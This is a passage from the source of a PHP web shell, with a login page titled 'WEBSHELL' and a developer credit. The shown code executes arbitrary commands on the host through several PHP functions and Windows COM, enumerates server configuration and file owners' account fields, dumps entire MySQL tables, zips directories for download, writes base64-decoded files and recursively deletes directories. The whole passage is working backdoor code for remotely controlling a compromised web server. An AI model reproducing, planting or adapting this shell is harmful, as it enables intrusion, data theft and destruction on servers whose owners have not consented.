1528 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1529 p('</p>');
1530 formfoot();
1531
1532 if ($command) {
1533 p('<hr width="100%" noshade /><pre>');
1534 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
1535 $wsh = new COM('WScript.shell');
1536 $exec = $wsh->exec('cmd.exe /c '.$command);
1537 $stdout = $exec->StdOut();
1538 $stroutput = $stdout->ReadAll();
1539 echo $stroutput;
1540 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
1541 $descriptorspec = array(
1542 0 => array('pipe', 'r'),
1543 1 => array('pipe', 'w'),
1544 2 => array('pipe', 'w')
1545 );
1546 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
1547 if (is_resource($process)) {
1548 fwrite($pipes[0], $command."\r\n");
1549 fwrite($pipes[0], "exit\r\n");
1550 fclose($pipes[0]);
1551 while (!feof($pipes[1])) {
1552 echo fgets($pipes[1], 1024);
1553 }
1554 fclose($pipes[1]);
1555 while (!feof($pipes[2])) {
1556 echo fgets($pipes[2], 1024);
1557 }
1558 fclose($pipes[2]);
1559 proc_close($process);
1560 }
1561 } else {
1562 echo(execute($command));
1563 }
1564 p('</pre>');
1565 }
1566}//end shell
1567
1568elseif ($action == 'phpenv') {
1569 $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
1570 $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
1571 !$dis_func && $dis_func = 'No';
1572 $info = array(
1573 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
1574 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
1575 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
1576 4 => array('Server OS',PHP_OS),
1577 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
1578 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
1579 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
1580 8 => array('PHP run mode',strtoupper(php_sapi_name())),
1581 9 => array('The file path',__FILE__),
1582
1583 10 => array('PHP Version',PHP_VERSION),
1584 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
1585 12 => array('Safe Mode',getcfg('safe_mode')),
1586 13 => array('Administrator',$adminmail),
1587 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
1588 15 => array('enable_dl',getcfg('enable_dl')),
1589 16 => array('display_errors',getcfg('display_errors')),
1590 17 => array('register_globals',getcfg('register_globals')),
1591 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
1592 19 => array('memory_limit',getcfg('memory_limit')),
1593 20 => array('post_max_size',getcfg('post_max_size')),
1594 21 => array('upload_max_filesize',$upsize),
1595 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
1596 23 => array('disable_functions',$dis_func),
1597 );
1598
1599 if($phpvarname) {
1600 m($phpvarname .' : '.getcfg($phpvarname));
1601 }
1602
1603 formhead(array('title'=>'Server environment'));
1604 makehide('action','phpenv');
1605 makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
1606 formfooter();
1607
1608 $hp = array(0=> 'Server', 1=> 'PHP');
1609 for($a=0;$a<2;$a++) {
1610 p('<h2>'.$hp[$a].' »</h2>');
1611 p('<ul class="info">');
1612 if ($a==0) {
1613 for($i=1;$i<=9;$i++) {
1614 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1615 }
1616 } elseif ($a == 1) {
1617 for($i=10;$i<=23;$i++) {
1618 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1619 }
1620 }
1621 p('</ul>');
1622 }
1623}//end phpenv
1624
1625else {
1626 m('Undefined Action');
1627}
1628
1629?>
1630
1631</td></tr></table>
1632<div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">
1633 <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
1634 Copyright (C) 2011-2012 <B></B> - Develop by <a href=http://suka target=_blank><B>Gemes </B></a> - <B>- Family Chibi</B> All Rights Reserved.
1635</div>
1636</body>
1637</noscript>
1638
1639<?php
1640
1641/*======================================================
1642Show info shell
1643======================================================*/
1644
1645function m($msg) {
1646 echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
1647 echo $msg;
1648 echo '</div>';
1649}
1650function scookie($key, $value, $life = 0, $prefix = 1) {
1651 global $admin, $timestamp, $_SERVER;
1652 $key = ($prefix ? $admin['cookiepre'] : '').$key;
1653 $life = $life ? $life : $admin['cookielife'];
1654 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
1655 setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
1656}
1657function multi($num, $perpage, $curpage, $tablename) {
1658 $multipage = '';
1659 if($num > $perpage) {
1660 $page = 10;
1661 $offset = 5;
1662 $pages = @ceil($num / $perpage);
1663 if($page > $pages) {
1664 $from = 1;
1665 $to = $pages;
1666 } else {
1667 $from = $curpage - $offset;
1668 $to = $curpage + $page - $offset - 1;
1669 if($from < 1) {
1670 $to = $curpage + 1 - $from;
1671 $from = 1;
1672 if(($to - $from) < $page && ($to - $from) < $pages) {
1673 $to = $page;
1674 }
1675 } elseif($to > $pages) {
1676 $from = $curpage - $pages + $to;
1677 $to = $pages;
1678 if(($to - $from) < $page && ($to - $from) < $pages) {
1679 $from = $pages - $page + 1;
1680 }
1681 }
1682 }
1683 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
1684 for($i = $from; $i <= $to; $i++) {
1685 $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
1686 }
1687 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
1688 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
1689 }
1690 return $multipage;
1691}
1692// Login page
1693function loginpage() {
1694?>
1695
1696<html>
1697<head>
1698
1699<body bgcolor=black background=1.jpg>
1700
1701 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
1702<title>.::[ ??????WEBSHELL ]::. </title>
1703<style type="text/css">
1704A:link {text-decoration: none; color: green }
1705A:visited {text-decoration: none;color:red}
1706A:active {text-decoration: none}
1707A:hover {text-decoration: underline; color: green;}
1708input, textarea, button
1709{
1710 font-size: 11pt;
1711 color: #FFFFFF;
1712 font-family: verdana, sans-serif;
1713 background-color: #000000;
1714 border-left: 2px dashed #8B0000;
1715 border-top: 2px dashed #8B0000;
1716 border-right: 2px dashed #8B0000;
1717 border-bottom: 2px dashed #8B0000;
1718}
1719
1720</style>
1721
1722 <BR><BR>
1723<div align=center >
1724
1725<div>
1726
1727<font color=gray>
1728<br /><br /><br /><br /><br />
1729
1730<form method="POST" action="">
1731 <span style="font:20pt tahoma;"> </span><input name="password" type="password" size="30">
1732 <input type="hidden" name="doing" value="login">
1733 <input type="submit" value="Login">
1734 </form>
1735<BR>
1736<?php
1737echo "".$err_mess."";
1738?>
1739
1740 <B><font color=red>
1741
1742
1743
1744
1745
1746
1747</div>
1748
1749
1750 </fieldset>
1751
1752
1753
1754</head>
1755</html>
1756
1757<?php
1758 exit;
1759
1760}//end loginpage()
1761
1762function execute($cfe) {
1763 $res = '';
1764 if ($cfe) {
1765 if(function_exists('exec')) {
1766 @exec($cfe,$res);
1767 $res = join("\n",$res);
1768 } elseif(function_exists('shell_exec')) {
1769 $res = @shell_exec($cfe);
1770 } elseif(function_exists('system')) {
1771 @ob_start();
1772 @system($cfe);
1773 $res = @ob_get_contents();
1774 @ob_end_clean();
1775 } elseif(function_exists('passthru')) {
1776 @ob_start();
1777 @passthru($cfe);
1778 $res = @ob_get_contents();
1779 @ob_end_clean();
1780 } elseif(@is_resource($f = @popen($cfe,"r"))) {
1781 $res = '';
1782 while(!@feof($f)) {
1783 $res .= @fread($f,1024);
1784 }
1785 @pclose($f);
1786 }
1787 }
1788 return $res;
1789}
1790function which($pr) {
1791 $path = execute("which $pr");
1792 return ($path ? $path : $pr);
1793}
1794
1795function cf($fname,$text){
1796 if($fp=@fopen($fname,'w')) {
1797 @fputs($fp,@base64_decode($text));
1798 @fclose($fp);
1799 }
1800}
1801
1802// Debug
1803function debuginfo() {
1804 global $starttime;
1805 $mtime = explode(' ', microtime());
1806 $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
1807 echo 'Processed in '.$totaltime.' second(s)';
1808}
1809
1810// Function connect database
1811function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
1812 if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
1813 p('<h2>Can not connect to MySQL server</h2>');
1814 exit;
1815 }
1816 if($link && $dbname) {
1817 if (!@mysql_select_db($dbname, $link)) {
1818 p('<h2>Database selected has error</h2>');
1819 exit;
1820 }
1821 }
1822 if($link && mysql_get_server_info() > '4.1') {
1823 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
1824 q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
1825 }
1826 }
1827 return $link;
1828}
1829
1830// Array strip
1831function s_array(&$array) {
1832 if (is_array($array)) {
1833 foreach ($array as $k => $v) {
1834 $array[$k] = s_array($v);
1835 }
1836 } else if (is_string($array)) {
1837 $array = stripslashes($array);
1838 }
1839 return $array;
1840}
1841
1842// HTML Strip
1843function html_clean($content) {
1844 $content = htmlspecialchars($content);
1845 $content = str_replace("\n", "<br />", $content);
1846 $content = str_replace(" ", " ", $content);
1847 $content = str_replace("\t", " ", $content);
1848 return $content;
1849}
1850
1851// Chmod
1852function getChmod($filepath){
1853 return substr(base_convert(@fileperms($filepath),10,8),-4);
1854}
1855
1856function getPerms($filepath) {
1857 $mode = @fileperms($filepath);
1858 if (($mode & 0xC000) === 0xC000) {$type = 's';}
1859 elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
1860 elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
1861 elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
1862 elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
1863 elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
1864 elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
1865 else {$type = '?';}
1866
1867 $owner['read'] = ($mode & 00400) ? 'r' : '-';
1868 $owner['write'] = ($mode & 00200) ? 'w' : '-';
1869 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
1870 $group['read'] = ($mode & 00040) ? 'r' : '-';
1871 $group['write'] = ($mode & 00020) ? 'w' : '-';
1872 $group['execute'] = ($mode & 00010) ? 'x' : '-';
1873 $world['read'] = ($mode & 00004) ? 'r' : '-';
1874 $world['write'] = ($mode & 00002) ? 'w' : '-';
1875 $world['execute'] = ($mode & 00001) ? 'x' : '-';
1876
1877 if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
1878 if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
1879 if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
1880
1881 return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
1882}
1883
1884function getUser($filepath) {
1885 if (function_exists('posix_getpwuid')) {
1886 $array = @posix_getpwuid(@fileowner($filepath));
1887 if ($array && is_array($array)) {
1888 return ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>';
1889 }
1890 }
1891 return '';
1892}
1893
1894// Delete dir
1895function deltree($deldir) {
1896 $mydir=@dir($deldir);
1897 while($file=$mydir->read()) {
1898 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
1899 @chmod($deldir.'/'.$file,0777);
1900 deltree($deldir.'/'.$file);
1901 }
1902 if (is_file($deldir.'/'.$file)) {
1903 @chmod($deldir.'/'.$file,0777);
1904 @unlink($deldir.'/'.$file);
1905 }
1906 }
1907 $mydir->close();
1908 @chmod($deldir,0777);
1909 return @rmdir($deldir) ? 1 : 0;
1910}
1911
1912// Background
1913function bg() {
1914 global $bgc;
1915 return ($bgc++%2==0) ? 'alt1' : 'alt2';
1916}
1917
1918// Get path
1919function getPath($scriptpath, $nowpath) {
1920 if ($nowpath == '.') {
1921 $nowpath = $scriptpath;
1922 }
1923 $nowpath = str_replace('\\', '/', $nowpath);
1924 $nowpath = str_replace('//', '/', $nowpath);
1925 if (substr($nowpath, -1) != '/') {
1926 $nowpath = $nowpath.'/';
1927 }
1928 return $nowpath;
1929}
1930
1931// Get up path
1932function getUpPath($nowpath) {
1933 $pathdb = explode('/', $nowpath);
1934 $num = count($pathdb);
1935 if ($num > 2) {
1936 unset($pathdb[$num-1],$pathdb[$num-2]);
1937 }
1938 $uppath = implode('/', $pathdb).'/';
1939 $uppath = str_replace('//', '/', $uppath);
1940 return $uppath;
1941}
1942
1943// Config
1944function getcfg($varname) {
1945 $result = get_cfg_var($varname);
1946 if ($result == 0) {
1947 return 'No';
1948 } elseif ($result == 1) {
1949 return 'Yes';
1950 } else {
1951 return $result;
1952 }
1953}
1954
1955// Function name
1956function getfun($funName) {
1957 return (false !== function_exists($funName)) ? 'Yes' : 'No';
1958}
1959
1960function GetList($dir){
1961 global $dirdata,$j,$nowpath;
1962 !$j && $j=1;
1963 if ($dh = opendir($dir)) {
1964 while ($file = readdir($dh)) {
1965 $f=str_replace('//','/',$dir.'/'.$file);
1966 if($file!='.' && $file!='..' && is_dir($f)){
1967 if (is_writable($f)) {
1968 $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
1969 $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
1970 $dirdata[$j]['dirchmod']=getChmod($f);
1971 $dirdata[$j]['dirperm']=getPerms($f);
1972 $dirdata[$j]['dirlink']=ue($dir);
1973 $dirdata[$j]['server_link']=$f;
1974 $dirdata[$j]['client_link']=ue($f);
1975 $j++;
1976 }
1977 GetList($f);
1978 }
1979 }
1980 closedir($dh);
1981 clearstatcache();
1982 return $dirdata;
1983 } else {
1984 return array();
1985 }
1986}
1987
1988function qy($sql) {
1989 //echo $sql.'<br>';
1990 $res = $error = '';
1991 if(!$res = @mysql_query($sql)) {
1992 return 0;
1993 } else if(is_resource($res)) {
1994 return 1;
1995 } else {
1996 return 2;
1997 }
1998 return 0;
1999}
2000
2001function q($sql) {
2002 return @mysql_query($sql);
2003}
2004
2005function fr($qy){
2006 mysql_free_result($qy);
2007}
2008
2009function sizecount($size) {
2010 if($size > 1073741824) {
2011 $size = round($size / 1073741824 * 100) / 100 . ' G';
2012 } elseif($size > 1048576) {
2013 $size = round($size / 1048576 * 100) / 100 . ' M';
2014 } elseif($size > 1024) {
2015 $size = round($size / 1024 * 100) / 100 . ' K';
2016 } else {
2017 $size = $size . ' B';
2018 }
2019 return $size;
2020}
2021
2022// Zip
2023class PHPZip{
2024 var $out='';
2025 function PHPZip($dir) {
2026 if (@function_exists('gzcompress')) {
2027 $curdir = getcwd();
2028 if (is_array($dir)) $filelist = $dir;
2029 else{
2030 $filelist=$this -> GetFileList($dir);//File list
2031 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
2032 }
2033 if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
2034 else chdir($curdir);
2035 if (count($filelist)>0){
2036 foreach($filelist as $filename){
2037 if (is_file($filename)){
2038 $fd = fopen ($filename, 'r');
2039 $content = @fread ($fd, filesize($filename));
2040 fclose ($fd);
2041 if (is_array($dir)) $filename = basename($filename);
2042 $this -> addFile($content, $filename);
2043 }
2044 }
2045 $this->out = $this -> file();
2046 chdir($curdir);
2047 }
2048 return 1;
2049 }
2050 else return 0;
2051 }
2052
2053 // Show file list
2054 function GetFileList($dir){
2055 static $a;
2056 if (is_dir($dir)) {
2057 if ($dh = opendir($dir)) {
2058 while ($file = readdir($dh)) {
2059 if($file!='.' && $file!='..'){
2060 $f=$dir .'/'. $file;
2061 if(is_dir($f)) $this->GetFileList($f);
2062 $a[]=$f;
2063 }
2064 }
2065 closedir($dh);
2066 }
2067 }
2068 return $a;
2069 }
2070
2071 var $datasec = array();
2072 var $ctrl_dir = array();
2073 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
2074 var $old_offset = 0;
2075
2076 function unix2DosTime($unixtime = 0) {
2077 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
2078 if ($timearray['year'] < 1980) {
2079 $timearray['year'] = 1980;
2080 $timearray['mon'] = 1;
2081 $timearray['mday'] = 1;
2082 $timearray['hours'] = 0;
2083 $timearray['minutes'] = 0;
2084 $timearray['seconds'] = 0;
2085 } // end if
2086 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
2087 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
2088 }
2089
2090 function addFile($data, $name, $time = 0) {
2091 $name = str_replace('\\', '/', $name);
2092
2093 $dtime = dechex($this->unix2DosTime($time));
2094 $hexdtime = '\x' . $dtime[6] . $dtime[7]
2095 . '\x' . $dtime[4] . $dtime[5]
2096 . '\x' . $dtime[2] . $dtime[3]
2097 . '\x' . $dtime[0] . $dtime[1];
2098 eval('$hexdtime = "' . $hexdtime . '";');
2099 $fr = "\x50\x4b\x03\x04";
2100 $fr .= "\x14\x00";
2101 $fr .= "\x00\x00";
2102 $fr .= "\x08\x00";
2103 $fr .= $hexdtime;
2104
2105 $unc_len = strlen($data);
2106 $crc = crc32($data);
2107 $zdata = gzcompress($data);
2108 $c_len = strlen($zdata);
2109 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
2110 $fr .= pack('V', $crc);
2111 $fr .= pack('V', $c_len);
2112 $fr .= pack('V', $unc_len);
2113 $fr .= pack('v', strlen($name));
2114 $fr .= pack('v', 0);
2115 $fr .= $name;
2116 $fr .= $zdata;
2117 $fr .= pack('V', $crc);
2118 $fr .= pack('V', $c_len);
2119 $fr .= pack('V', $unc_len);
2120
2121 $this -> datasec[] = $fr;
2122 $new_offset = strlen(implode('', $this->datasec));
2123
2124 $cdrec = "\x50\x4b\x01\x02";
2125 $cdrec .= "\x00\x00";
2126 $cdrec .= "\x14\x00";
2127 $cdrec .= "\x00\x00";
2128 $cdrec .= "\x08\x00";
2129 $cdrec .= $hexdtime;
2130 $cdrec .= pack('V', $crc);
2131 $cdrec .= pack('V', $c_len);
2132 $cdrec .= pack('V', $unc_len);
2133 $cdrec .= pack('v', strlen($name) );
2134 $cdrec .= pack('v', 0 );
2135 $cdrec .= pack('v', 0 );
2136 $cdrec .= pack('v', 0 );
2137 $cdrec .= pack('v', 0 );
2138 $cdrec .= pack('V', 32 );
2139 $cdrec .= pack('V', $this -> old_offset );
2140 $this -> old_offset = $new_offset;
2141 $cdrec .= $name;
2142
2143 $this -> ctrl_dir[] = $cdrec;
2144 }
2145
2146 function file() {
2147 $data = implode('', $this -> datasec);
2148 $ctrldir = implode('', $this -> ctrl_dir);
2149 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
2150 }
2151}
2152
2153// Dump mysql
2154function sqldumptable($table, $fp=0) {
2155 $tabledump = "DROP TABLE IF EXISTS $table;\n";
2156 $tabledump .= "CREATE TABLE $table (\n";
2157
2158 $firstfield=1;
2159
2160 $fields = q("SHOW FIELDS FROM $table");
2161 while ($field = mysql_fetch_array($fields)) {
2162 if (!$firstfield) {
2163 $tabledump .= ",\n";
2164 } else {
2165 $firstfield=0;
2166 }
2167 $tabledump .= " $field[Field] $field[Type]";
2168 if (!empty($field["Default"])) {
2169 $tabledump .= " DEFAULT '$field[Default]'";
2170 }
2171 if ($field['Null'] != "YES") {
2172 $tabledump .= " NOT NULL";
2173 }
2174 if ($field['Extra'] != "") {
2175 $tabledump .= " $field[Extra]";
2176 }
2177 }
2178 fr($fields);
2179
2180 $keys = q("SHOW KEYS FROM $table");
2181 while ($key = mysql_fetch_array($keys)) {
2182 $kname=$key['Key_name'];
2183 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
2184 $kname="UNIQUE|$kname";
2185 }
2186 if(!is_array($index[$kname])) {
2187 $index[$kname] = array();
2188 }
2189 $index[$kname][] = $key['Column_name'];
2190 }
2191 fr($keys);
2192
2193 while(list($kname, $columns) = @each($index)) {
2194 $tabledump .= ",\n";
2195 $colnames=implode($columns,",");
2196
2197 if ($kname == "PRIMARY") {
2198 $tabledump .= " PRIMARY KEY ($colnames)";
2199 } else {
2200 if (substr($kname,0,6) == "UNIQUE") {
2201 $kname=substr($kname,7);
2202 }
2203 $tabledump .= " KEY $kname ($colnames)";
2204
2205 }
2206 }
2207
2208 $tabledump .= "\n);\n\n";
2209 if ($fp) {
2210 fwrite($fp,$tabledump);
2211 } else {
2212 echo $tabledump;
2213 }
2214
2215 $rows = q("SELECT * FROM $table");
2216 $numfields = mysql_num_fields($rows);
2217 while ($row = mysql_fetch_array($rows)) {
2218 $tabledump = "INSERT INTO $table VALUES(";
2219
2220 $fieldcounter=-1;
2221 $firstfield=1;
2222 while (++$fieldcounter<$numfields) {
2223 if (!$firstfield) {
2224 $tabledump.=", ";
2225 } else {
2226 $firstfield=0;
2227 }
2228
2229 if (!isset($row[$fieldcounter])) {
2230 $tabledump .= "NULL";
2231 } else {
2232 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
2233 }
2234 }
2235
2236 $tabledump .= ");\n";
2237
2238 if ($fp) {
2239 fwrite($fp,$tabledump);
2240 } else {
2241 echo $tabledump;
2242 }
2243 }
2244 fr($rows);
2245 if ($fp) {
2246 fwrite($fp,"\n");
2247 } else {
2248 echo "\n";
2249 }
2250}
2251
2252function ue($str){
2253 return urlencode($str);
2254}
2255
2256function p($str){
2257 echo $str."\n";
2258}
2259
2260function tbhead() {
2261 p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
2262}
2263function tbfoot(){
2264 p('</table>');
2265}
2266
2267function makehide($name,$value=''){
2268 p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
2269}
2270
2271function makeinput($arg = array()){
2272 $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
2273 $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
2274 !$arg['type'] && $arg['type'] = 'text';
2275 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
2276 $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
2277 if ($arg['newline']) {
2278 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
2279 } else {
2280 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
2281 }
2282}
2283
2284function makeselect($arg = array()){
2285 if ($arg['onchange']) {
2286 $onchange = 'onchange="'.$arg['onchange'].'"';
2287 }
2288 $arg['title'] = $arg['title'] ? $arg['title'] : '';
2289 if ($arg['newline']) p('<p>');
2290 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
2291 if (is_array($arg['option'])) {
2292 foreach ($arg['option'] as $key=>$value) {
2293 if ($arg['selected']==$key) {
2294 p("<option value=\"$key\" selected>$value</option>");
2295 } else {
2296 p("<option value=\"$key\">$value</option>");
2297 }
2298 }
2299 }
2300 p("</select>");
2301 if ($arg['newline']) p('</p>');
2302}
2303function formhead($arg = array()) {
2304 !$arg['method'] && $arg['method'] = 'post';
2305 !$arg['action'] && $arg['action'] = $self;
2306 $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
2307 !$arg['name'] && $arg['name'] = 'form1';
2308 p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
2309 if ($arg['title']) {
2310 p('<h2>'.$arg['title'].' »</h2>');
2311 }
2312}
2313
2314function maketext($arg = array()){
2315 !$arg['cols'] && $arg['cols'] = 100;
2316 !$arg['rows'] && $arg['rows'] = 25;
2317 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
2318 p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
2319}
2320
2321function formfooter($name = ''){
2322 !$name && $name = 'submit';
2323 p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
2324 p('</form>');
2325}
2326
2327function formfoot(){
2328 p('</form>');
2329}
2330
2331// Exit
2332function pr($a) {
2333 echo '<pre>';
2334 print_r($a);
2335 echo '</pre>';
2336}
2337?>